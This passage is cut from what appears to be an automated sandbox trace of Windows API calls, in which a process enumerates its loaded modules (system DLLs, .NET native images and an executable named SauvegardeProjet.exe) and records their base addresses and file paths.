lpmodinfo=0x279413c*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0067.141] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0067.142] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0067.142] GetModuleInformation (in: hProcess=0x290, hModule=0x751d0000, lpmodinfo=0x2796250, cb=0xc | out: lpmodinfo=0x2796250*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0067.142] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0067.142] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0067.143] GetModuleInformation (in: hProcess=0x290, hModule=0x75ce0000, lpmodinfo=0x2798398, cb=0xc | out: lpmodinfo=0x2798398*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0067.143] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0067.143] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0067.144] GetModuleInformation (in: hProcess=0x290, hModule=0x773c0000, lpmodinfo=0x279a4a4, cb=0xc | out: lpmodinfo=0x279a4a4*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0067.144] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x773c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0067.144] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x773c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0067.144] GetModuleInformation (in: hProcess=0x290, hModule=0x756f0000, lpmodinfo=0x279c5a8, cb=0xc | out: lpmodinfo=0x279c5a8*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0067.145] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x756f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0067.145] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x756f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0067.145] GetModuleInformation (in: hProcess=0x290, hModule=0x762d0000, lpmodinfo=0x279e6b4, cb=0xc | out: lpmodinfo=0x279e6b4*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0067.146] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0067.146] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0067.146] GetModuleInformation (in: hProcess=0x290, hModule=0x75410000, lpmodinfo=0x27a07b0, cb=0xc | out: lpmodinfo=0x27a07b0*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0067.147] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75410000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0067.147] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75410000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0067.147] GetModuleInformation (in: hProcess=0x290, hModule=0x76500000, lpmodinfo=0x27a2940, cb=0xc | out: lpmodinfo=0x27a2940*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0067.148] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0067.148] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0067.148] GetModuleInformation (in: hProcess=0x290, hModule=0x75d40000, lpmodinfo=0x27a4a44, cb=0xc | out: lpmodinfo=0x27a4a44*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0067.149] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75d40000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0067.149] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75d40000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0067.150] GetModuleInformation (in: hProcess=0x290, hModule=0x751c0000, lpmodinfo=0x27a6b48, cb=0xc | out: lpmodinfo=0x27a6b48*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0067.150] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0067.150] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0067.151] GetModuleInformation (in: hProcess=0x290, hModule=0x74630000, lpmodinfo=0x27a8c54, cb=0xc | out: lpmodinfo=0x27a8c54*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0067.151] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74630000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0067.151] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74630000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0067.152] GetModuleInformation (in: hProcess=0x290, hModule=0x750c0000, lpmodinfo=0x27aad84, cb=0xc | out: lpmodinfo=0x27aad84*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0067.152] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x750c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0067.153] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x750c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0067.153] GetModuleInformation (in: hProcess=0x290, hModule=0x72500000, lpmodinfo=0x27aceb8, cb=0xc | out: lpmodinfo=0x27aceb8*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0067.153] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x72500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0067.154] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x72500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0067.155] GetModuleInformation (in: hProcess=0x290, hModule=0x75540000, lpmodinfo=0x27af060, cb=0xc | out: lpmodinfo=0x27af060*(lpBaseOfDll=0x75540000, SizeOfImage=0x15c000, EntryPoint=0x7558ba3d)) returned 1 [0067.155] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75540000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0067.156] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75540000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0067.156] GetModuleInformation (in: hProcess=0x290, hModule=0x74d00000, lpmodinfo=0x27b1164, cb=0xc | out: lpmodinfo=0x27b1164*(lpBaseOfDll=0x74d00000, SizeOfImage=0x80000, EntryPoint=0x74d137c9)) returned 1 [0067.157] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74d00000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0067.157] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74d00000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0067.157] GetModuleInformation (in: hProcess=0x290, hModule=0x71b50000, lpmodinfo=0x27b3270, cb=0xc | out: lpmodinfo=0x27b3270*(lpBaseOfDll=0x71b50000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0067.158] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71b50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0067.158] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71b50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0067.159] GetModuleInformation (in: hProcess=0x290, hModule=0x71430000, lpmodinfo=0x27b540c, cb=0xc | out: lpmodinfo=0x27b540c*(lpBaseOfDll=0x71430000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0067.159] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x71430000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0067.160] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x71430000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0067.160] GetModuleInformation (in: hProcess=0x290, hModule=0x74ef0000, lpmodinfo=0x27b75c8, cb=0xc | out: lpmodinfo=0x27b75c8*(lpBaseOfDll=0x74ef0000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0067.161] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ef0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0067.161] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ef0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0067.162] GetModuleInformation (in: hProcess=0x290, hModule=0x74e70000, lpmodinfo=0x27b97bc, cb=0xc | out: lpmodinfo=0x27b97bc*(lpBaseOfDll=0x74e70000, SizeOfImage=0x7d000, EntryPoint=0x74e71140)) returned 1 [0067.163] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e70000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0067.163] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e70000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0067.164] GetModuleInformation (in: hProcess=0x290, hModule=0x75f60000, lpmodinfo=0x27bb8fc, cb=0xc | out: lpmodinfo=0x27bb8fc*(lpBaseOfDll=0x75f60000, SizeOfImage=0x8f000, EntryPoint=0x75f63fb1)) returned 1 [0067.164] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75f60000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0067.165] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75f60000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0067.165] GetModuleInformation (in: hProcess=0x290, hModule=0x744a0000, lpmodinfo=0x27bda10, cb=0xc | out: lpmodinfo=0x27bda10*(lpBaseOfDll=0x744a0000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0067.166] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x744a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0067.167] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x744a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0067.167] GetModuleInformation (in: hProcess=0x290, hModule=0x707d0000, lpmodinfo=0x27bfbdc, cb=0xc | out: lpmodinfo=0x27bfbdc*(lpBaseOfDll=0x707d0000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0067.168] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x707d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0067.169] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x707d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0067.169] GetModuleInformation (in: hProcess=0x290, hModule=0x74e50000, lpmodinfo=0x27c1dcc, cb=0xc | out: lpmodinfo=0x27c1dcc*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0067.172] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74e50000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0067.173] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74e50000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0067.173] GetModuleInformation (in: hProcess=0x290, hModule=0x74460000, lpmodinfo=0x27c3fe4, cb=0xc | out: lpmodinfo=0x27c3fe4*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0067.174] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74460000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0067.174] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74460000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0067.175] GetModuleInformation (in: hProcess=0x290, hModule=0x743d0000, lpmodinfo=0x27c60f0, cb=0xc | out: lpmodinfo=0x27c60f0*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0067.176] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0067.176] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0067.177] GetModuleInformation (in: hProcess=0x290, hModule=0x743b0000, lpmodinfo=0x27c82b8, cb=0xc | out: lpmodinfo=0x27c82b8*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0067.177] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x743b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0067.178] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x743b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0067.179] GetModuleInformation (in: hProcess=0x290, hModule=0x742e0000, lpmodinfo=0x27ca408, cb=0xc | out: lpmodinfo=0x27ca408*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0067.179] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x742e0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0067.180] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x742e0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0067.180] GetModuleInformation (in: hProcess=0x290, hModule=0x74150000, lpmodinfo=0x27cc604, cb=0xc | out: lpmodinfo=0x27cc604*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0067.181] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74150000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0067.182] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74150000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0067.182] GetModuleInformation (in: hProcess=0x290, hModule=0x73c90000, lpmodinfo=0x27ce7b4, cb=0xc | out: lpmodinfo=0x27ce7b4*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0067.183] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x73c90000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0067.183] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x73c90000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0067.184] GetModuleInformation (in: hProcess=0x290, hModule=0x74ce0000, lpmodinfo=0x27d097c, cb=0xc | out: lpmodinfo=0x27d097c*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0067.185] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0067.192] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0067.192] GetModuleInformation (in: hProcess=0x290, hModule=0x754b0000, lpmodinfo=0x27d2a88, cb=0xc | out: lpmodinfo=0x27d2a88*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0067.193] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x754b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0067.194] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x754b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0067.194] GetModuleInformation (in: hProcess=0x290, hModule=0x74050000, lpmodinfo=0x27d4b94, cb=0xc | out: lpmodinfo=0x27d4b94*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0067.195] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74050000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0067.196] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74050000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0067.196] GetModuleInformation (in: hProcess=0x290, hModule=0x76420000, lpmodinfo=0x27d6cb8, cb=0xc | out: lpmodinfo=0x27d6cb8*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0067.197] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76420000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0067.198] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76420000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0067.323] EnumProcessModules (in: hProcess=0x290, lphModule=0x27531d4, cb=0x100, lpcbNeeded=0x563cf30 | out: lphModule=0x27531d4, lpcbNeeded=0x563cf30) returned 1 [0067.324] GetModuleInformation (in: hProcess=0x290, hModule=0xea0000, lpmodinfo=0x2753314, cb=0xc | out: lpmodinfo=0x2753314*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0067.324] GetModuleBaseNameW (in: hProcess=0x290, hModule=0xea0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0067.324] GetModuleFileNameExW (in: hProcess=0x290, hModule=0xea0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0067.325] GetModuleInformation (in: hProcess=0x290, hModule=0x77850000, lpmodinfo=0x2755488, cb=0xc | out: lpmodinfo=0x2755488*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0067.325] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x77850000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0067.325] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x77850000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0067.325] GetModuleInformation (in: hProcess=0x290, hModule=0x75250000, lpmodinfo=0x275758c, cb=0xc | out: lpmodinfo=0x275758c*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0067.325] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75250000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0067.326] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75250000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0067.326] GetModuleInformation (in: hProcess=0x290, hModule=0x75a20000, lpmodinfo=0x2759698, cb=0xc | out: lpmodinfo=0x2759698*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0067.326] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75a20000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0067.326] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75a20000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0067.327] GetModuleInformation (in: hProcess=0x290, hModule=0x765f0000, lpmodinfo=0x275b7ac, cb=0xc | out: lpmodinfo=0x275b7ac*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0067.327] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x765f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0067.327] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x765f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0067.327] GetModuleInformation (in: hProcess=0x290, hModule=0x75b30000, lpmodinfo=0x275d8f4, cb=0xc | out: lpmodinfo=0x275d8f4*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0067.328] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75b30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0067.328] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75b30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0067.328] GetModuleInformation (in: hProcess=0x290, hModule=0x75e30000, lpmodinfo=0x275fa08, cb=0xc | out: lpmodinfo=0x275fa08*(lpBaseOfDll=0x75e30000, 